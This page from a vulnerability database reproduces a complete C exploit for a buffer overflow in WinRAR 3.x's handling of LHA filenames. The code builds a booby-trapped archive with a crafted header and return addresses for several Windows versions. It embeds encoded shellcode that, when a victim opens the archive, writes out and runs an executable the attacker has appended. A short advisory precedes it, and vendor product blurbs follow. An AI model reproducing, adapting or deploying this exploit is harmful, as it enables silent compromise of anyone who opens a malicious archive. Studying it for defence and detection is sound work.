Lucene search
K

RARLAB WinRAR 3.x LHA Filename Handling Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

WinRAR 3.x LHA Buffer Overflow Vulnerability in Filename Handlin

Code

                                                source: http://www.securityfocus.com/bid/19043/info

WinRAR is susceptible to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This vulnerability allows attackers to execute arbitrary machine code in the context of the affected application.

Versions of WinRAR from 3.0 to 3.60 beta 6 are vulnerable to this issue.

/*
*-----------------------------------------------------------------------
*
* lzh.c - WinRAR 3.x LHA Buffer Overflow Exploit
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author   : nop
*          : nop#xsec.org
*          : http://www.xsec.org
*          :
* Tested   : Windows 2000 SP4 CN
*          : Windows XP SP1/SP2 CN/EN
*          :   + WinRAR 3.42
*          :   + WinRAR 3.51
*          :   + WinRAR 3.60 beta6
*          :
* Complie  : cl lzh.c
*          :
*      
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

//-----------------------------------------
// ????
//-----------------------------------------
#define BUFF_SIZE       102400
#define RET_OFFSET      0x14
#define FILE_LEN        0xE6
#define DIR_LEN         0x3FF-3
#define LH_LEN          22
#define LE_LEN          6
#define LEE_LEN         2

#define SC_LEN_OFFSET   10
#define DC_LEN          26

#define DATABASE        0x61

// 22 bytes
unsigned char LHAHeader[] =
"\xff\x00\x2d\x6c\x68\x30\x2d\x00\x00\x00\x00\x00\x00\x00\x00\x29"
"\xb4\xf5\x34\x20\x01\xe6";

// 6 bytes
unsigned char LHAExt[] =
"\x00\x00\x4d\xff\x03\x02";

// 2 bytes
unsigned char LHAExtEnd[] =
"\x00\x00";

// 26 bytes Alpha Decode by nop (for WinRAR LHZ Exploit)
unsigned char Decode[] =
"\x8b\xf4\x83\xc6\x1a\x56\x5f\x91\x66\xb9\xff\x02\x66\xad\x66\x2d"
"\x61\x61\xc0\xe0\x04\x02\xc4\xaa\xe2\xf2";

// 336 bytes Shellcode by nop (for WinRAR LHZ Exploit)
unsigned char SC[] =
"\xe9\x16\x01\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x0b\x59\xe8\xb6\x00\x00\x00"
"\xe2\xf9\x33\xdb\x89\x56\x3c\x83\x46\x3c\x04\x81\x7e\x3c\xff\xff"
"\x00\x00\x0f\x8d\x9b\x00\x00\x00\x53\xff\x76\x3c\xff\x56\x14\x3b"
"\x46\x2c\x75\xe3\x6a\x00\x6a\x00\xff\x76\x30\xff\x76\x3c\xff\x56"
"\x20\xff\x76\x34\x6a\x40\xff\x56\x28\x89\x46\x44\x6a\x00\x8d\x5e"
"\x34\x53\xff\x76\x34\x50\xff\x76\x3c\xff\x56\x18\x8b\x4e\x34\x8a"
"\x46\x38\x8b\x5e\x44\x4b\x30\x04\x0b\xe2\xfb\x83\xec\x50\x8b\xdc"
"\x6a\x50\x53\xff\x56\x04\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03"
"\x04\x78\x65\x00\x00\x89\x5e\x48\x33\xc0\x50\x50\x6a\x02\x50\x50"
"\x68\x00\x00\x00\xc0\xff\x76\x48\xff\x56\x10\x83\xf8\x00\x7e\x23"
"\x89\x46\x40\x6a\x00\x8d\x5e\x34\x53\xff\x76\x34\xff\x76\x44\xff"
"\x76\x40\xff\x56\x1c\xff\x76\x40\xff\x56\x24\x8b\xdc\x6a\x00\x53"
"\xff\x56\x08\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03"
"\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb"
"\x0f\xbe\x10\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b"
"\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c"
"\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\xe5\xfe\xff\xff"
"\x8e\x4e\x0e\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xef\xce\xe0\x60"
"\xa5\x17\x00\x7c\xad\x9b\x7d\xdf\x16\x65\xfa\x10\x1f\x79\x0a\xe8"
"\xac\x08\xda\x76\xfb\x97\xfd\x0f\xec\x97\x03\x0c";

//--------------------------------------------------------------------------------
// ??????
//--------------------------------------------------------------------------------
struct
{
   DWORD    dwJMP;
   char    *szDescription;
}
targets[] =
{
   //{0x77E424DA, "Debug"},
   {0x7ffa4512, "CN    2K/XP/2K3    ALL"},         // jmp  esp addr for all CN win2000/winxp/win2003
   {0x7ffa24ce, "TW    2K/XP/2K3    ALL"},         // jmp  esp addr for all TW win2000/winxp/win2003
   {0x7ffa82a4, "KR    2K/XP/2K3    ALL"},         // call esp addr for all KR win2000/winxp/win2003  
   {0x7801F4FB, "ALL   2K           SP3/SP4"},     // push esp,xx, ret (msvcrt.dll) for all win2000 SP3/SP4    
   {0x77C5BAFC, "EN    XP           SP0/SP1"},     // push esp,xx, ret (msvcrt.dll) for EN winxp SP0/SP1
   {0x77C60AFC, "EN    XP           SP2"},         // push esp,xx, ret (msvcrt.dll) for EN winxp SP2
},v;


//--------------------------------------------------------------------------------
// ????
//--------------------------------------------------------------------------------
unsigned char RunSC[1024]    = {0};
unsigned char FilePath[0xFF] = {0};
unsigned char DirPath[0x3FF] = {0};
char          *AppFile       = NULL;
char          *ExeFile       = NULL;
char          *OutFile       = "0day.zip";
BOOL          bAppend        = FALSE;
int           iType          = 0;
unsigned int  Sc_len         = 0;
DWORD         dwFileSize     = 0;
DWORD         dwOffsetSize   = 0;
DWORD         dwExeSize      = 0;
DWORD         dwExeXor       = 0;
BYTE          cExeXor        = 0;

HANDLE      hFile            = INVALID_HANDLE_VALUE;
HANDLE      hAppend          = INVALID_HANDLE_VALUE;
char *      pFile            = NULL;
char*       pAppend          = NULL;

//--------------------------------------------------------------------------------
// ???Rand
//--------------------------------------------------------------------------------
void InitRandom()
{
   //srand(GetTickCount());
   srand((unsigned)time(NULL));
}

//--------------------------------------------------------------------------------
//  ????
//--------------------------------------------------------------------------------
char RandomC()
{
   DWORD dwRand;
   char cRand;
   
   dwRand= rand();
   cRand = dwRand%255+1;

   return(cRand);
}

//--------------------------------------------------------------------------------
// ????
//--------------------------------------------------------------------------------
void RandFill(char *buf, int len)
{
   int  i;
   
   for(i=0; i< len;i ++)
   {        
       buf[i] = RandomC();
   }
}

//--------------------------------------------------------------------------------
//  ????
//--------------------------------------------------------------------------------
DWORD Random(DWORD dwRange)
{
   DWORD dwRand;
   DWORD dwRet;
   
   dwRand = rand();
   
   if(dwRange!=0)
       dwRet = dwRand%dwRange;
   else
       dwRet=0;
       
   return(dwRet);
}

//--------------------------------------------------------------------------------
// Get function hash
//--------------------------------------------------------------------------------
unsigned long hash(char *c)
{
   unsigned long h=0;

   while(*c)
   {
       __asm ror h, 13
       
       h += *c++;
   }
   
   return(h);
}

//--------------------------------------------------------------------------------
// print shellcode
//--------------------------------------------------------------------------------
void PrintSc(char *lpBuff, int buffsize)
{
   int i,j;
   char *p;
   char msg[4];

   for(i=0;i<buffsize;i++)
   {
       if((i%16)==0)
       {
           if(i!=0)
               printf("\"\n\"");
           else
               printf("\"");
       }

       sprintf(msg, "\\x%.2X", lpBuff[i] & 0xff);

       for( p = msg, j=0; j < 4; p++, j++ )
       {
           if(isupper(*p))
               printf("%c", _tolower(*p));
           else
               printf("%c", p[0]);
       }
   }
   printf("\";\n");
}

//--------------------------------------------------------------------------------
// ????
//--------------------------------------------------------------------------------
void EncodeSc(unsigned char* sc, int len, unsigned char* dstbuf)
{
    
    int j;
    unsigned char temp;
    
    for(j=0; j<len; j++)
    {
         temp=sc[j];
         dstbuf[2*j]=DATABASE+temp/0x10;
         dstbuf[2*j+1]=DATABASE+temp%0x10;
    }
    
    //dstbuf[2*j]=0x00;
}

//--------------------------------------------------------------------------------
// ??ShellCode
//--------------------------------------------------------------------------------
void Make_ShellCode()
{
   unsigned char  sc[1024] = {0};
   unsigned int   len = 0;

   int i,j,k,l;

   Sc_len = sizeof(SC)-1;
   memcpy(sc, SC, Sc_len);
     
   // Add Size Var
   memcpy(sc+Sc_len, &dwFileSize, 4);
   memcpy(sc+Sc_len+4, &dwOffsetSize, 4);
   memcpy(sc+Sc_len+4+4, &dwExeSize, 4);
   memcpy(sc+Sc_len+4+4+4, &dwExeXor, 4);
   Sc_len += 16;

   memcpy(&Decode[SC_LEN_OFFSET], &Sc_len, 2);
   
   //printf("// %d bytes decode \r\n", strlen(Decode));
   //PrintSc(Decode, DC_LEN);

   memset(RunSC, 0, sizeof(RunSC));
   memcpy(RunSC, sc, Sc_len);
   
   //printf("// %d bytes shellcode \r\n", Sc_len);
   //PrintSc(RunSC, Sc_len);
}

//--------------------------------------------------------------------------------
// ????
//--------------------------------------------------------------------------------
void PutFile(char *szFile)
{
   DWORD       dwBytes  = 0;
   DWORD       dwCount  = 0;
   DWORD       dwOffset = 0;
   int         i        = 0;
   

   __try
   {        
       hFile = CreateFile(szFile,
           GENERIC_WRITE,
           FILE_SHARE_READ,
           NULL,
           CREATE_ALWAYS,
           FILE_ATTRIBUTE_NORMAL,
           0);

       if(hFile == INVALID_HANDLE_VALUE)
       {
           printf("[-] Create file %s error!\n", szFile);
           __leave;            
       }

       pFile = (char*)malloc(BUFF_SIZE);
       if(!pFile)
       {
           printf("[-] pFile malloc buffer error!\n");
           __leave;
       }

       memset(pFile, 0, BUFF_SIZE);
       
       
       //--------------------------------------------
       // Append LHA File
       //--------------------------------------------
       if(bAppend)
       {
           hAppend = CreateFile(AppFile,
               GENERIC_READ,
               FILE_SHARE_READ,
               NULL,
               OPEN_EXISTING,
               FILE_ATTRIBUTE_NORMAL,
               0);
   
           if(hAppend == INVALID_HANDLE_VALUE)
           {
               printf("[-] Open file %s error!\n", AppFile);
              // __leave;        
              exit(1);
                   
           }
       
           dwFileSize = GetFileSize(hAppend, 0);
           
           if(!dwFileSize)
           {
               printf("[-] Get AppendFile   : %s size error!\n", AppFile);
               __leave;  
           }
           
           printf("[+] Get AppendFile   : %s (size:%d).\n", AppFile, dwFileSize);
           
           pAppend = (char *)malloc(dwFileSize);
           if(!pAppend)
           {
               printf("[-] pAppend malloc buff error!\n");
               __leave;
           }
           memset(pAppend, 0, dwFileSize);
                   
           if(!ReadFile(hAppend, pAppend, dwFileSize, &dwBytes, NULL))
           {
               printf("[-] ReadFile error!\n");
               __leave;
           }
           
           CloseHandle(hAppend);
           hAppend=INVALID_HANDLE_VALUE;
           
           dwFileSize --;
           
           WriteFile(hFile, pAppend, dwFileSize, &dwBytes, NULL);  
           printf("[+] Write AppendData : %s (%d bytes)\n", szFile, dwFileSize);
           
           free(pAppend);
           
       }      
               
       hAppend = CreateFile(ExeFile,
               GENERIC_READ,
               FILE_SHARE_READ,
               NULL,
               OPEN_EXISTING,
               FILE_ATTRIBUTE_NORMAL,
               0);
   
       if(hAppend == INVALID_HANDLE_VALUE)
       {
           printf("[-] Open file %s error!\n", ExeFile);
               //__leave;            
           exit(1);
       }
       
       dwExeSize = GetFileSize(hAppend, 0);
           
       if(!dwExeSize)
       {
           printf("[-] Get AppendData  : %s size error!\n", ExeFile);
           __leave;  
       }
           
       printf("[+] Get ExeFile      : %s (size:%d).\n", ExeFile, dwExeSize);
           
       pAppend = (char *)malloc(dwExeSize);
       if(!pAppend)
       {
           printf("[-] pAppend malloc buff error!\n");
           __leave;
       }
       memset(pAppend, 0, dwExeSize);
                   
       if(!ReadFile(hAppend, pAppend, dwExeSize, &dwBytes, NULL))
       {
           printf("[-] ReadFile error!\n");
           __leave;
       }
           
       cExeXor = RandomC();
       dwExeXor = cExeXor;
       printf("[+] Exe Rand Xor Key : 0x%.2x\n", cExeXor);
       for(i=0; i<dwExeSize; i++)
       {
          pAppend[i] ^= cExeXor;                
       }
           
       /*
       printf("hFile %lx, hAppend %lx\n", hFile, hAppend);
       for(i=0;i<65535;i+=4)
       {
           
          dwBytes = GetFileSize(i, 0);  
          if(dwBytes != 0xFFFFFFFF) printf("%x   %d\n", i, dwBytes);  
       }
       */
         
       CloseHandle(hAppend);
       hAppend=INVALID_HANDLE_VALUE;
       
       //memcpy(DirPath, RunSC, Sc_len);
       printf("[+] Fill LHA & ShellCode ...\n");
       
       // Put LHAHeader
       memcpy(pFile, LHAHeader, LH_LEN);
       dwCount += LH_LEN;
       
       // Put FilePath (ret+nop)
       memset(&FilePath, '\x90', sizeof(FilePath));
 
       //memcpy(&FilePath[RET_OFFSET], &RetAddr, 4);       // JMP ESP
       memcpy(&FilePath[RET_OFFSET], &targets[iType].dwJMP, 4);
       printf("[+] RET Addr         : 0x%lx \n", targets[iType].dwJMP);
       
       //memcpy(&FilePath[RET_OFFSET+4], &Decode, DC_LEN);
       dwOffset = dwCount + RET_OFFSET + 4;
       
       
       memcpy(pFile+dwCount, &FilePath, FILE_LEN);
       dwCount += FILE_LEN;
       
       // Put LHAExtHeader
       memcpy(pFile+dwCount, &LHAExt, LE_LEN);    
       dwCount += LE_LEN;
       
       // Put DirPath (nop+ShellCode+nop)
       memset(&DirPath, '\x42', sizeof(DirPath));
       
       dwOffsetSize = dwCount + DIR_LEN + LEE_LEN + dwFileSize;
       dwFileSize = dwOffsetSize + dwExeSize;
           
       printf("[+] File Size        : 0x%lx (%d) bytes\n", dwFileSize, dwFileSize);
       printf("[+] Offset Size      : 0x%lx (%d) bytes\n", dwOffsetSize, dwOffsetSize);
       printf("[+] ExeFile Size     : 0x%lx (%d) bytes\n", dwExeSize, dwExeSize);

       printf("[+] Make Shellcode ...\n");    
       Make_ShellCode();
       
       printf("[+] Encode Shellcode ...\n");
       EncodeSc(RunSC, Sc_len, DirPath);
       
       
       memcpy(pFile+dwOffset, &Decode, DC_LEN);
       
       memcpy(pFile+dwCount, &DirPath, DIR_LEN);
       //memcpy(pFile+dwCount, "ABCDEFGHIJKLMNOP", 16);
       dwCount += DIR_LEN;
       
       memcpy(pFile+dwCount, &LHAExtEnd, LEE_LEN);
       dwCount += LEE_LEN;
       
       WriteFile(hFile, pFile, dwCount, &dwBytes, NULL);
       printf("[+] Write LHAData    : %s (%d bytes)\n", szFile, dwCount);
       
       WriteFile(hFile, pAppend, dwExeSize, &dwBytes, NULL);
       printf("[+] Write ExeData    : %s (%d bytes)\n", szFile, dwExeSize);
       
       dwFileSize = GetFileSize(hFile, 0);
       printf("[+] FileSize         : %d bytes\n", dwFileSize);
       printf("[+] All Done! Have fun!\n");
   }

   __finally
   {        
       if(hFile != INVALID_HANDLE_VALUE)
           CloseHandle(hFile);
           
       if(hAppend != INVALID_HANDLE_VALUE)
           CloseHandle(hAppend);
           
       if(pFile)
           free(pFile);
       
       if(pAppend)
           free(pAppend);
   }
}

//--------------------------------------------------------------------------------
//  ??????
//--------------------------------------------------------------------------------
int TestIfIsValue(char *str)
{
   if(str == NULL ) return(0);
   if(str[0]=='-') return(0);
   if(str[0]=='/') return(0);
   return(1);
}

//--------------------------------------------------------------------------------
//  ????????
//--------------------------------------------------------------------------------
void showtype()
{
   int i;

   printf( "[Type]:\n");
   for(i=0;i<sizeof(targets)/sizeof(v);i++)
   {
       printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
   }
   printf("\n");
}

//--------------------------------------------------------------------------------
//  ??????
//--------------------------------------------------------------------------------
void usage(char *p)
{
   printf( "[Usage:]\n"
           "    %s [Options] <ExeFile>\n\n"
           "[Options:]\n"
           "    /a <LHZFile>   Append LHZ(lha)File\n"
           "    /o <OutFile>   Output file name, default is %s\n"
           "    /t <OSType>    Target Type, default is 0\n\n",
           p, OutFile);

   showtype();
}

//--------------------------------------------------------------------------------
//  ???
//--------------------------------------------------------------------------------
void main(int argc, char **argv)
{
   char *url = NULL;
   int   i   = 0;
   
   printf("WinRAR 3.x LHA Buffer Overflow Exploit (Fucking 0day!!!)\n");
   printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n\n");  
   
   InitRandom();
   
   if(argc < 2)
   {
       usage(argv[0]);
       return;
   }
   
   for(i=1; i<argc-1; i++)
   {
       switch(argv[i][1])
       {
       case 'a':
           if(i < argc-1 && TestIfIsValue(argv[i+1]))
           {    
               AppFile = argv[i+1];
               bAppend = TRUE;
           }
           else
           {
               usage(argv[0]);
               return;
           }
           i++;
           break;
       case 'o':
          if(i < argc-1 && TestIfIsValue(argv[i+1]))
           {    
               OutFile = argv[i+1];
           }
           else
           {
               usage(argv[0]);
               return;
           }
           i++;
           break;
       case 't':
           if(i < argc-1 && TestIfIsValue(argv[i+1]))
           {    
               iType = atoi(argv[i+1]);
           }
           else
           {
               usage(argv[0]);
               return;
           }
           i++;
           break;
       }
   }
   
   ExeFile = argv[i];

   if((iType<0) || (iType>=sizeof(targets)/sizeof(v)))
   {
       usage(argv[0]);
       printf("[-] Invalid type.\n");
       return;
   }
   
   PutFile(OutFile);
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation